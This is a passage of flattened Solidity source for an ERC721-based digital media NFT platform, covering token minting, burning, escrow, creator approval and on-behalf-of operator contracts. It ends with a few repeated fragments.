{ return name_; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() public view returns (string) { return symbol_; } /** * @dev Returns an URI for a given token ID * @dev Throws if the token ID does not exist. May return an empty string. * @param _tokenId uint256 ID of the token to query */ function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param _owner address owning the tokens list to be accessed * @param _index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * @dev Reverts if the index is greater or equal to the total number of tokens * @param _index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } /** * @dev Internal function to set the token URI for a given token * @dev Reverts if the token ID does not exist * @param _tokenId uint256 ID of the token to set its URI * @param _uri string URI to assign */ function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } /** * @dev Internal function to mint a new token * @dev Reverts if the given token ID already exists * @param _to address the beneficiary that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } /** * @dev Internal function to burn a specific token * @dev Reverts if the token does not exist * @param _owner owner of the token to burn * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); // Clear metadata (if any) if (bytes(tokenURIs[_tokenId]).length != 0) { delete tokenURIs[_tokenId]; } // Reorg all tokens array uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } } // File: REMIX_FILE_SYNC/ERC721Safe.sol pragma solidity 0.4.25; // We have to specify what version of compiler this code will compile with contract ERC721Safe is ERC721Token { bytes4 constant internal InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); bytes4 constant internal InterfaceSignature_ERC721 = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('safeTransferFrom(address,address,uint256)')); function supportsInterface(bytes4 _interfaceID) external view returns (bool); } // File: REMIX_FILE_SYNC/Memory.sol pragma solidity 0.4.25; library Memory { // Size of a word, in bytes. uint internal constant WORD_SIZE = 32; // Size of the header of a 'bytes' array. uint internal constant BYTES_HEADER_SIZE = 32; // Address of the free memory pointer. uint internal constant FREE_MEM_PTR = 0x40; // Compares the 'len' bytes starting at address 'addr' in memory with the 'len' // bytes starting at 'addr2'. // Returns 'true' if the bytes are the same, otherwise 'false'. function equals(uint addr, uint addr2, uint len) internal pure returns (bool equal) { assembly { equal := eq(keccak256(addr, len), keccak256(addr2, len)) } } // Compares the 'len' bytes starting at address 'addr' in memory with the bytes stored in // 'bts'. It is allowed to set 'len' to a lower value then 'bts.length', in which case only // the first 'len' bytes will be compared. // Requires that 'bts.length >= len' function equals(uint addr, uint len, bytes memory bts) internal pure returns (bool equal) { require(bts.length >= len); uint addr2; assembly { addr2 := add(bts, /*BYTES_HEADER_SIZE*/32) } return equals(addr, addr2, len); } // Allocates 'numBytes' bytes in memory. This will prevent the Solidity compiler // from using this area of memory. It will also initialize the area by setting // each byte to '0'. function allocate(uint numBytes) internal pure returns (uint addr) { // Take the current value of the free memory pointer, and update. assembly { addr := mload(/*FREE_MEM_PTR*/0x40) mstore(/*FREE_MEM_PTR*/0x40, add(addr, numBytes)) } uint words = (numBytes + WORD_SIZE - 1) / WORD_SIZE; for (uint i = 0; i < words; i++) { assembly { mstore(add(addr, mul(i, /*WORD_SIZE*/32)), 0) } } } // Copy 'len' bytes from memory address 'src', to address 'dest'. // This function does not check the or destination, it only copies // the bytes. function copy(uint src, uint dest, uint len) internal pure { // Copy word-length chunks while possible for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } dest += WORD_SIZE; src += WORD_SIZE; } // Copy remaining bytes uint mask = 256 ** (WORD_SIZE - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } // Returns a memory pointer to the provided bytes array. function ptr(bytes memory bts) internal pure returns (uint addr) { assembly { addr := bts } } // Returns a memory pointer to the data portion of the provided bytes array. function dataPtr(bytes memory bts) internal pure returns (uint addr) { assembly { addr := add(bts, /*BYTES_HEADER_SIZE*/32) } } // This function does the same as 'dataPtr(bytes memory)', but will also return the // length of the provided bytes array. function fromBytes(bytes memory bts) internal pure returns (uint addr, uint len) { len = bts.length; assembly { addr := add(bts, /*BYTES_HEADER_SIZE*/32) } } // Creates a 'bytes memory' variable from the memory address 'addr', with the // length 'len'. The function will allocate new memory for the bytes array, and // the 'len bytes starting at 'addr' will be copied into that new memory. function toBytes(uint addr, uint len) internal pure returns (bytes memory bts) { bts = new bytes(len); uint btsptr; assembly { btsptr := add(bts, /*BYTES_HEADER_SIZE*/32) } copy(addr, btsptr, len); } // Get the word stored at memory address 'addr' as a 'uint'. function toUint(uint addr) internal pure returns (uint n) { assembly { n := mload(addr) } } // Get the word stored at memory address 'addr' as a 'bytes32'. function toBytes32(uint addr) internal pure returns (bytes32 bts) { assembly { bts := mload(addr) } } /* // Get the byte stored at memory address 'addr' as a 'byte'. function toByte(uint addr, uint8 index) internal pure returns (byte b) { require(index < WORD_SIZE); uint8 n; assembly { n := byte(index, mload(addr)) } b = byte(n); } */ } // File: REMIX_FILE_SYNC/HelperUtils.sol pragma solidity 0.4.25; /** * Internal helper functions */ contract HelperUtils { // converts bytes32 to a string // enable this when you use it. Saving gas for now // function bytes32ToString(bytes32 x) private pure returns (string) { // bytes memory bytesString = new bytes(32); // uint charCount = 0; // for (uint j = 0; j < 32; j++) { // byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); // if (char != 0) { // bytesString[charCount] = char; // charCount++; // } // } // bytes memory bytesStringTrimmed = new bytes(charCount); // for (j = 0; j < charCount; j++) { // bytesStringTrimmed[j] = bytesString[j]; // } // return string(bytesStringTrimmed); // } /** * Concatenates two strings * @param _a string * @param _b string * @return string concatenation of two string */ function strConcat(string _a, string _b) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); string memory ab = new string(_ba.length + _bb.length); bytes memory bab = bytes(ab); uint k = 0; for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i]; return string(bab); } } // File: REMIX_FILE_SYNC/DigitalMediaToken.sol pragma solidity 0.4.25; /** * The DigitalMediaToken contract. Fully implements the ERC721 contract * from OpenZeppelin without any modifications to it. * * This contract allows for the creation of: * 1. New Collections * 2. New DigitalMedia objects * 3. New DigitalMediaRelease objects * * The primary piece of logic is to ensure that an ERC721 token can * have a supply and print edition that is enforced by this contract. */ contract DigitalMediaToken is DigitalMediaManager, ERC721Safe, HelperUtils, SingleCreatorControl { event DigitalMediaReleaseCreateEvent( uint256 id, address owner, uint32 printEdition, string tokenURI, uint256 digitalMediaId); // Event fired when a new digital media is created event DigitalMediaCreateEvent( uint256 id, address storeContractAddress, address creator, uint32 totalSupply, uint32 printIndex, uint256 collectionId, string metadataPath); // Event fired when a digital media's collection is event DigitalMediaCollectionCreateEvent( uint256 id, address storeContractAddress, address creator, string metadataPath); // Event fired when a digital media is burned event DigitalMediaBurnEvent( uint256 id, address caller, address storeContractAddress); // Event fired when burning a token event DigitalMediaReleaseBurnEvent( uint256 tokenId, address owner); event UpdateDigitalMediaPrintIndexEvent( uint256 digitalMediaId, uint32 printEdition); // Event fired when a creator assigns a new creator address. event ChangedCreator( address creator, address newCreator); struct DigitalMediaRelease { // The unique edition number of this digital media release uint32 printEdition; // Reference ID to the digital media metadata uint256 digitalMediaId; } // Maps internal ERC721 token ID to digital media release object. mapping (uint256 => DigitalMediaRelease) public tokenIdToDigitalMediaRelease; // Maps a creator address to a new creator address. Useful if a creator // changes their address or the previous address gets compromised. mapping (address => address) public approvedCreators; // Token ID counter uint256 internal tokenIdCounter = 0; constructor (string _tokenName, string _tokenSymbol, uint256 _tokenIdStartingCounter) public ERC721Token(_tokenName, _tokenSymbol) { tokenIdCounter = _tokenIdStartingCounter; } /** * Creates a new digital media object. * @param _creator address the creator of this digital media * @param _totalSupply uint32 the total supply a creation could have * @param _collectionId uint256 the collectionId that it belongs to * @param _metadataPath string the path to the ipfs metadata * @return uint the new digital media id */ function _createDigitalMedia( address _creator, uint32 _totalSupply, uint256 _collectionId, string _metadataPath) internal returns (uint) { require(_validateCollection(_collectionId, _creator), "Creator for collection not approved."); uint256 newDigitalMediaId = currentDigitalMediaStore.createDigitalMedia( _creator, 0, _totalSupply, _collectionId, _metadataPath); emit DigitalMediaCreateEvent( newDigitalMediaId, address(currentDigitalMediaStore), _creator, _totalSupply, 0, _collectionId, _metadataPath); return newDigitalMediaId; } /** * Burns a token for a given tokenId and caller. * @param _tokenId the id of the token to burn. * @param _caller the address of the caller. */ function _burnToken(uint256 _tokenId, address _caller) internal { address owner = ownerOf(_tokenId); require(_caller == owner || getApproved(_tokenId) == _caller || isApprovedForAll(owner, _caller), "Failed token burn. Caller is not approved."); _burn(owner, _tokenId); delete tokenIdToDigitalMediaRelease[_tokenId]; emit DigitalMediaReleaseBurnEvent(_tokenId, owner); } /** * Burns a digital media. Once this function succeeds, this digital media * will no longer be able to mint any more tokens. Existing tokens need to be * burned individually though. * @param _digitalMediaId the id of the digital media to burn * @param _caller the address of the caller. */ function _burnDigitalMedia(uint256 _digitalMediaId, address _caller) internal { DigitalMedia memory _digitalMedia = _getDigitalMedia(_digitalMediaId); require(_checkApprovedCreator(_digitalMedia.creator, _caller) || isApprovedForAll(_digitalMedia.creator, _caller), "Failed digital media burn. Caller not approved."); uint32 increment = _digitalMedia.totalSupply - _digitalMedia.printIndex; _incrementDigitalMediaPrintIndex(_digitalMedia, increment); address _burnDigitalMediaStoreAddress = address(_getDigitalMediaStore(_digitalMedia.id)); emit DigitalMediaBurnEvent( _digitalMediaId, _caller, _burnDigitalMediaStoreAddress); } /** * Creates a new collection * @param _creator address the creator of this collection * @param _metadataPath string the path to the collection ipfs metadata * @return uint the new collection id */ function _createCollection( address _creator, string _metadataPath) internal returns (uint) { uint256 newCollectionId = currentDigitalMediaStore.createCollection( _creator, _metadataPath); emit DigitalMediaCollectionCreateEvent( newCollectionId, address(currentDigitalMediaStore), _creator, _metadataPath); return newCollectionId; } /** * Creates _count number of new digital media releases (i.e a token). * Bumps up the print index by _count. * @param _owner address the owner of the digital media object * @param _digitalMediaId uint256 the digital media id */ function _createDigitalMediaReleases( address _owner, uint256 _digitalMediaId, uint32 _count) internal { require(_count > 0, "Failed print edition. Creation count must be > 0."); require(_count < 10000, "Cannot print more than 10K tokens at once"); DigitalMedia memory _digitalMedia = _getDigitalMedia(_digitalMediaId); uint32 currentPrintIndex = _digitalMedia.printIndex; require(_checkApprovedCreator(_digitalMedia.creator, _owner), "Creator not approved."); require(isAllowedSingleCreator(_owner), "Creator must match single creator address."); require(_count + currentPrintIndex <= _digitalMedia.totalSupply, "Total supply exceeded."); string memory tokenURI = HelperUtils.strConcat("ipfs://ipfs/", _digitalMedia.metadataPath); for (uint32 i=0; i < _count; i++) { uint32 newPrintEdition = currentPrintIndex + 1 + i; DigitalMediaRelease memory _digitalMediaRelease = DigitalMediaRelease({ printEdition: newPrintEdition, digitalMediaId: _digitalMediaId }); uint256 newDigitalMediaReleaseId = _getNextTokenId(); tokenIdToDigitalMediaRelease[newDigitalMediaReleaseId] = _digitalMediaRelease; emit DigitalMediaReleaseCreateEvent( newDigitalMediaReleaseId, _owner, newPrintEdition, tokenURI, _digitalMediaId ); // This will assign ownership and also emit the Transfer event as per ERC721 _mint(_owner, newDigitalMediaReleaseId); _setTokenURI(newDigitalMediaReleaseId, tokenURI); tokenIdCounter = tokenIdCounter.add(1); } _incrementDigitalMediaPrintIndex(_digitalMedia, _count); emit UpdateDigitalMediaPrintIndexEvent(_digitalMediaId, currentPrintIndex + _count); } /** * Checks that a given caller is an approved creator and is allowed to mint or burn * tokens. If the creator was changed it will check against the updated creator. * @param _caller the calling address * @return bool allowed or not */ function _checkApprovedCreator(address _creator, address _caller) internal view returns (bool) { address approvedCreator = approvedCreators[_creator]; if (approvedCreator != address(0)) { return approvedCreator == _caller; } else { return _creator == _caller; } } /** * Validates the an address is allowed to create a digital media on a * given collection. Collections are tied to addresses. */ function _validateCollection(uint256 _collectionId, address _address) private view returns (bool) { if (_collectionId == 0 ) { return true; } DigitalMediaCollection memory collection = _getCollection(_collectionId); return _checkApprovedCreator(collection.creator, _address); } /** * Generates a new token id. */ function _getNextTokenId() private view returns (uint256) { return tokenIdCounter.add(1); } /** * Changes the creator that is approved to printing new tokens and creations. * Either the _caller must be the _creator or the _caller must be the existing * approvedCreator. * @param _caller the address of the caller * @param _creator the address of the current creator * @param _newCreator the address of the new approved creator */ function _changeCreator(address _caller, address _creator, address _newCreator) internal { address approvedCreator = approvedCreators[_creator]; require(_caller != address(0) && _creator != address(0), "Creator must be valid non 0x0 address."); require(_caller == _creator || _caller == approvedCreator, "Unauthorized caller."); if (approvedCreator == address(0)) { approvedCreators[_caller] = _newCreator; } else { require(_caller == approvedCreator, "Unauthorized caller."); approvedCreators[_creator] = _newCreator; } emit ChangedCreator(_creator, _newCreator); } /** * Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). */ function supportsInterface(bytes4 _interfaceID) external view returns (bool) { return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } } // File: REMIX_FILE_SYNC/OBOControl.sol pragma solidity 0.4.25; contract OBOControl is Pausable { // List of approved on behalf of users. mapping (address => bool) public approvedOBOs; /** * Add a new approved on behalf of user address. */ function addApprovedOBO(address _oboAddress) external onlyOwner { approvedOBOs[_oboAddress] = true; } /** * Removes an approved on bhealf of user address. */ function removeApprovedOBO(address _oboAddress) external onlyOwner { delete approvedOBOs[_oboAddress]; } /** * @dev Modifier to make the obo calls only callable by approved addressess */ modifier isApprovedOBO() { require(approvedOBOs[msg.sender] == true); _; } } // File: REMIX_FILE_SYNC/WithdrawFundsControl.sol pragma solidity 0.4.25; contract WithdrawFundsControl is Pausable { // List of approved on withdraw addresses mapping (address => uint256) public approvedWithdrawAddresses; // Full day wait period before an approved withdraw address becomes active uint256 constant internal withdrawApprovalWaitPeriod = 60 * 60 * 24; event WithdrawAddressAdded(address withdrawAddress); event WithdrawAddressRemoved(address widthdrawAddress); /** * Add a new approved on behalf of user address. */ function addApprovedWithdrawAddress(address _withdrawAddress) external onlyOwner { approvedWithdrawAddresses[_withdrawAddress] = now; emit WithdrawAddressAdded(_withdrawAddress); } /** * Removes an approved on bhealf of user address. */ function removeApprovedWithdrawAddress(address _withdrawAddress) external onlyOwner { delete approvedWithdrawAddresses[_withdrawAddress]; emit WithdrawAddressRemoved(_withdrawAddress); } /** * Checks that a given withdraw address ia approved and is past it's required * wait time. */ function isApprovedWithdrawAddress(address _withdrawAddress) internal view returns (bool) { uint256 approvalTime = approvedWithdrawAddresses[_withdrawAddress]; require (approvalTime > 0); return now - approvalTime > withdrawApprovalWaitPeriod; } } // File: REMIX_FILE_SYNC/openzeppelin-solidity/contracts/token/ERC721/ERC721Holder.sol pragma solidity ^0.4.21; contract ERC721Holder is ERC721Receiver { function onERC721Received(address, uint256, bytes) public returns(bytes4) { return ERC721_RECEIVED; } } // File: REMIX_FILE_SYNC/DigitalMediaSaleBase.sol pragma solidity 0.4.25; /** * Base class that manages the underlying functions of a Digital Media Sale, * most importantly the escrow of digital tokens. * * Manages ensuring that only approved addresses interact with this contract. * */ contract DigitalMediaSaleBase is ERC721Holder, Pausable, OBOControl, WithdrawFundsControl { using SafeMath for uint256; // Mapping of token contract address to bool indicated approval. mapping (address => bool) public approvedTokenContracts; /** * Adds a new token contract address to be approved to be called. */ function addApprovedTokenContract(address _tokenContractAddress) public onlyOwner { approvedTokenContracts[_tokenContractAddress] = true; } /** * Remove an approved token contract address from the list of approved addresses. */ function removeApprovedTokenContract(address _tokenContractAddress) public onlyOwner { delete approvedTokenContracts[_tokenContractAddress]; } /** * Checks that a particular token contract address is a valid address. */ function _isValidTokenContract(address _tokenContractAddress) internal view returns (bool) { return approvedTokenContracts[_tokenContractAddress]; } /** * Returns an ERC721 instance of a token contract address. Throws otherwise. * Only valid and approved token contracts are allowed to be interacted with. */ function _getTokenContract(address _tokenContractAddress) internal view returns (ERC721Safe) { require(_isValidTokenContract(_tokenContractAddress)); return ERC721Safe(_tokenContractAddress); } /** * Checks with the ERC-721 token contract that the _claimant actually owns the token. */ function _owns(address _claimant, uint256 _tokenId, address _tokenContractAddress) internal view returns (bool) { ERC721Safe tokenContract = _getTokenContract(_tokenContractAddress); return (tokenContract.ownerOf(_tokenId) == _claimant); } /** * Checks with the ERC-721 token contract the owner of the a token */ function _ownerOf(uint256 _tokenId, address _tokenContractAddress) internal view returns (address) { ERC721Safe tokenContract = _getTokenContract(_tokenContractAddress); return tokenContract.ownerOf(_tokenId); } /** * Checks to ensure that the token owner has approved the escrow contract */ function _approvedForEscrow(address _seller, uint256 _tokenId, address _tokenContractAddress) internal view returns (bool) { ERC721Safe tokenContract = _getTokenContract(_tokenContractAddress); return (tokenContract.isApprovedForAll(_seller, this) || tokenContract.getApproved(_tokenId) == address(this)); } /** * Escrows an ERC-721 token from the seller to this contract. Assumes that the escrow contract * is already approved to make the transfer, otherwise it will fail. */ function _escrow(address _seller, uint256 _tokenId, address _tokenContractAddress) internal { // it will throw if transfer fails ERC721Safe tokenContract = _getTokenContract(_tokenContractAddress); tokenContract.safeTransferFrom(_seller, this, _tokenId); } /** * Transfer an ERC-721 token from escrow to the buyer. This is to be called after a purchase is * completed. */ function _transfer(address _receiver, uint256 _tokenId, address _tokenContractAddress) internal { // it will throw if transfer fails ERC721Safe tokenContract = _getTokenContract(_tokenContractAddress); tokenContract.safeTransferFrom(this, _receiver, _tokenId); } /** * Method to check whether this is an escrow contract */ function isEscrowContract() public pure returns(bool) { return true; } /** * Withdraws all the funds to a specified non-zero address */ function withdrawFunds(address _withdrawAddress) public onlyOwner { require(isApprovedWithdrawAddress(_withdrawAddress)); _withdrawAddress.transfer(address(this).balance); } } // File: REMIX_FILE_SYNC/DigitalMediaCore.sol pragma solidity 0.4.25; /** * This is the main driver contract that is used to control and run the service. Funds * are managed through this function, underlying contracts are also updated through * this contract. * * This class also exposes a set of creation methods that are allowed to be created * by an approved token creator, on behalf of a particular address. This is meant * to simply the creation flow for MakersToken users that aren't familiar with * the blockchain. The ERC721 tokens that are created are still fully compliant, * although it is possible for a malicious token creator to mint unwanted tokens * on behalf of a creator. Worst case, the creator can burn those tokens. */ contract DigitalMediaCore is DigitalMediaToken { using SafeMath for uint32; // List of approved token creators (on behalf of the owner) mapping (address => bool) public approvedTokenCreators; // Mapping from owner to operator accounts. mapping (address => mapping (address => bool)) internal oboOperatorApprovals; // Mapping of all disabled OBO operators. mapping (address => bool) public disabledOboOperators; // OboApproveAll Event event OboApprovalForAll( address _owner, address _operator, bool _approved); // Fired when disbaling obo capability. event OboDisabledForAll(address _operator); constructor ( string _tokenName, string _tokenSymbol, uint256 _tokenIdStartingCounter, address _dmsAddress, address _crsAddress) public DigitalMediaToken( _tokenName, _tokenSymbol, _tokenIdStartingCounter) { paused = true; setDigitalMediaStoreAddress(_dmsAddress); setCreatorRegistryStore(_crsAddress); } /** * Retrieves a Digital Media object. */ function getDigitalMedia(uint256 _id) external view returns ( uint256 id, uint32 totalSupply, uint32 printIndex, uint256 collectionId, address creator, string metadataPath) { DigitalMedia memory digitalMedia = _getDigitalMedia(_id); require(digitalMedia.creator != address(0), "DigitalMedia not found."); id = _id; totalSupply = digitalMedia.totalSupply; printIndex = digitalMedia.printIndex; collectionId = digitalMedia.collectionId; creator = digitalMedia.creator; metadataPath = digitalMedia.metadataPath; } /** * Retrieves a collection. */ function getCollection(uint256 _id) external view returns ( uint256 id, address creator, string metadataPath) { DigitalMediaCollection memory digitalMediaCollection = _getCollection(_id); require(digitalMediaCollection.creator != address(0), "Collection not found."); id = _id; creator = digitalMediaCollection.creator; metadataPath = digitalMediaCollection.metadataPath; } /** * Retrieves a Digital Media Release (i.e a token) */ function getDigitalMediaRelease(uint256 _id) external view returns ( uint256 id, uint32 printEdition, uint256 digitalMediaId) { require(exists(_id)); DigitalMediaRelease storage digitalMediaRelease = tokenIdToDigitalMediaRelease[_id]; id = _id; printEdition = digitalMediaRelease.printEdition; digitalMediaId = digitalMediaRelease.digitalMediaId; } /** * Creates a new collection. * * No creations of any kind are allowed when the contract is paused. */ function createCollection(string _metadataPath) external whenNotPaused { _createCollection(msg.sender, _metadataPath); } /** * Creates a new digital media object. */ function createDigitalMedia(uint32 _totalSupply, uint256 _collectionId, string _metadataPath) external whenNotPaused { _createDigitalMedia(msg.sender, _totalSupply, _collectionId, _metadataPath); } /** * Creates a new digital media object and mints it's first digital media release token. * * No creations of any kind are allowed when the contract is paused. */ function createDigitalMediaAndReleases( uint32 _totalSupply, uint256 _collectionId, string _metadataPath, uint32 _numReleases) external whenNotPaused { uint256 digitalMediaId = _createDigitalMedia(msg.sender, _totalSupply, _collectionId, _metadataPath); _createDigitalMediaReleases(msg.sender, digitalMediaId, _numReleases); } /** * Creates a new collection, a new digital media object within it and mints a new * digital media release token. * * No creations of any kind are allowed when the contract is paused. */ function createDigitalMediaAndReleasesInNewCollection( uint32 _totalSupply, string _digitalMediaMetadataPath, string _collectionMetadataPath, uint32 _numReleases) external whenNotPaused { uint256 collectionId = _createCollection(msg.sender, _collectionMetadataPath); uint256 digitalMediaId = _createDigitalMedia(msg.sender, _totalSupply, collectionId, _digitalMediaMetadataPath); _createDigitalMediaReleases(msg.sender, digitalMediaId, _numReleases); } /** * Creates a new digital media release (token) for a given digital media id. * * No creations of any kind are allowed when the contract is paused. */ function createDigitalMediaReleases(uint256 _digitalMediaId, uint32 _numReleases) external whenNotPaused { _createDigitalMediaReleases(msg.sender, _digitalMediaId, _numReleases); } /** * Deletes a token / digital media release. Doesn't modify the current print index * and total to be printed. Although dangerous, the owner of a token should always * be able to burn a token they own. * * Only the owner of the token or accounts approved by the owner can burn this token. */ function burnToken(uint256 _tokenId) external { _burnToken(_tokenId, msg.sender); } /* Support ERC721 burn method */ function burn(uint256 tokenId) public { _burnToken(tokenId, msg.sender); } /** * Ends the production run of a digital media. Afterwards no more tokens * will be allowed to be printed for this digital media. Used when a creator * makes a mistake and wishes to burn and recreate their digital media. * * When a contract is paused we do not allow new tokens to be created, * so stopping the production of a token doesn't have much purpose. */ function burnDigitalMedia(uint256 _digitalMediaId) external whenNotPaused { _burnDigitalMedia(_digitalMediaId, msg.sender); } /** * Resets the approval rights for a given tokenId. */ function resetApproval(uint256 _tokenId) external { clearApproval(msg.sender, _tokenId); } /** * Changes the creator for the current sender, in the event we * need to be able to mint new tokens from an existing digital media * print production. When changing creator, the old creator will * no longer be able to mint tokens. * * A creator may need to be changed: * 1. If we want to allow a creator to take control over their token minting (i.e go decentralized) * 2. If we want to re-issue private keys due to a compromise. For this reason, we can call this function * when the contract is paused. * @param _creator the creator address * @param _newCreator the new creator address */ function changeCreator(address _creator, address _newCreator) external { _changeCreator(msg.sender, _creator, _newCreator); } /**********************************************************************/ /**Calls that are allowed to be called by approved creator addresses **/ /**********************************************************************/ /** * Add a new approved token creator. * * Only the owner of this contract can update approved Obo accounts. */ function addApprovedTokenCreator(address _creatorAddress) external onlyOwner { require(disabledOboOperators[_creatorAddress] != true, "Address disabled."); approvedTokenCreators[_creatorAddress] = true; } /** * Removes an approved token creator. * * Only the owner of this contract can update approved Obo accounts. */ function removeApprovedTokenCreator(address _creatorAddress) external onlyOwner { delete approvedTokenCreators[_creatorAddress]; } /** * @dev Modifier to make the approved creation calls only callable by approved token creators */ modifier isApprovedCreator() { require( (approvedTokenCreators[msg.sender] == true && disabledOboOperators[msg.sender] != true), "Unapproved OBO address."); _; } /** * Only the owner address can set a special obo approval list. * When issuing OBO management accounts, we should give approvals through * this method only so that we can very easily reset it's approval in * the event of a disaster scenario. * * Only the owner themselves is allowed to give OboApproveAll access. */ function setOboApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender, "Approval address is same as approver."); require(approvedTokenCreators[_to], "Unrecognized OBO address."); require(disabledOboOperators[_to] != true, "Approval address is disabled."); oboOperatorApprovals[msg.sender][_to] = _approved; emit OboApprovalForAll(msg.sender, _to, _approved); } /** * Only called in a disaster scenario if the account has been compromised. * There's no turning back from this and the oboAddress will no longer be * able to be given approval rights or perform obo functions. * * Only the owner of this contract is allowed to disable an Obo address. * */ function disableOboAddress(address _oboAddress) public onlyOwner { require(approvedTokenCreators[_oboAddress], "Unrecognized OBO address."); disabledOboOperators[_oboAddress] = true; delete approvedTokenCreators[_oboAddress]; emit OboDisabledForAll(_oboAddress); } /** * Override the isApprovalForAll to check for a special oboApproval list. Reason for this * is that we can can easily remove obo operators if they every become compromised. */ function isApprovedForAll(address _owner, address _operator) public view returns (bool) { if (disabledOboOperators[_operator] == true) { return false; } else if (isOperatorApprovedForCustodialAccount(_operator, _owner) == true) { return true; } else if (oboOperatorApprovals[_owner][_operator]) { return true; } else { return super.isApprovedForAll(_owner, _operator); } } /** * Creates a new digital media object and mints it's digital media release tokens. * Called on behalf of the _owner. Pass count to mint `n` number of tokens. * * Only approved creators are allowed to create Obo. * * No creations of any kind are allowed when the contract is paused. */ function oboCreateDigitalMediaAndReleases( address _owner, uint32 _totalSupply, uint256 _collectionId, string _metadataPath, uint32 _numReleases) external whenNotPaused isApprovedCreator { uint256 digitalMediaId = _createDigitalMedia(_owner, _totalSupply, _collectionId, _metadataPath); _createDigitalMediaReleases(_owner, digitalMediaId, _numReleases); } /** * Creates a new collection, a new digital media object within it and mints a new * digital media release token. * Called on behalf of the _owner. * * Only approved creators are allowed to create Obo. * * No creations of any kind are allowed when the contract is paused. */ function oboCreateDigitalMediaAndReleasesInNewCollection( address _owner, uint32 _totalSupply, string _digitalMediaMetadataPath, string _collectionMetadataPath, uint32 _numReleases) external whenNotPaused isApprovedCreator { uint256 collectionId = _createCollection(_owner, _collectionMetadataPath); uint256 digitalMediaId = _createDigitalMedia(_owner, _totalSupply, collectionId, _digitalMediaMetadataPath); _createDigitalMediaReleases(_owner, digitalMediaId, _numReleases); } /** * Creates multiple digital media releases (tokens) for a given digital media id. * Called on behalf of the _owner. * * Only approved creators are allowed to create Obo. * * No creations of any kind are allowed when the contract is paused. */ function oboCreateDigitalMediaReleases( address _owner, uint256 _digitalMediaId, uint32 _numReleases) external whenNotPaused isApprovedCreator { _createDigitalMediaReleases(_owner, _digitalMediaId, _numReleases); } }
* Checks that a particular token contract address is a valid address./
function _isValidTokenContract(address _tokenContractAddress) internal view returns (bool) { return approvedTokenContracts[_tokenContractAddress]; }
890,412
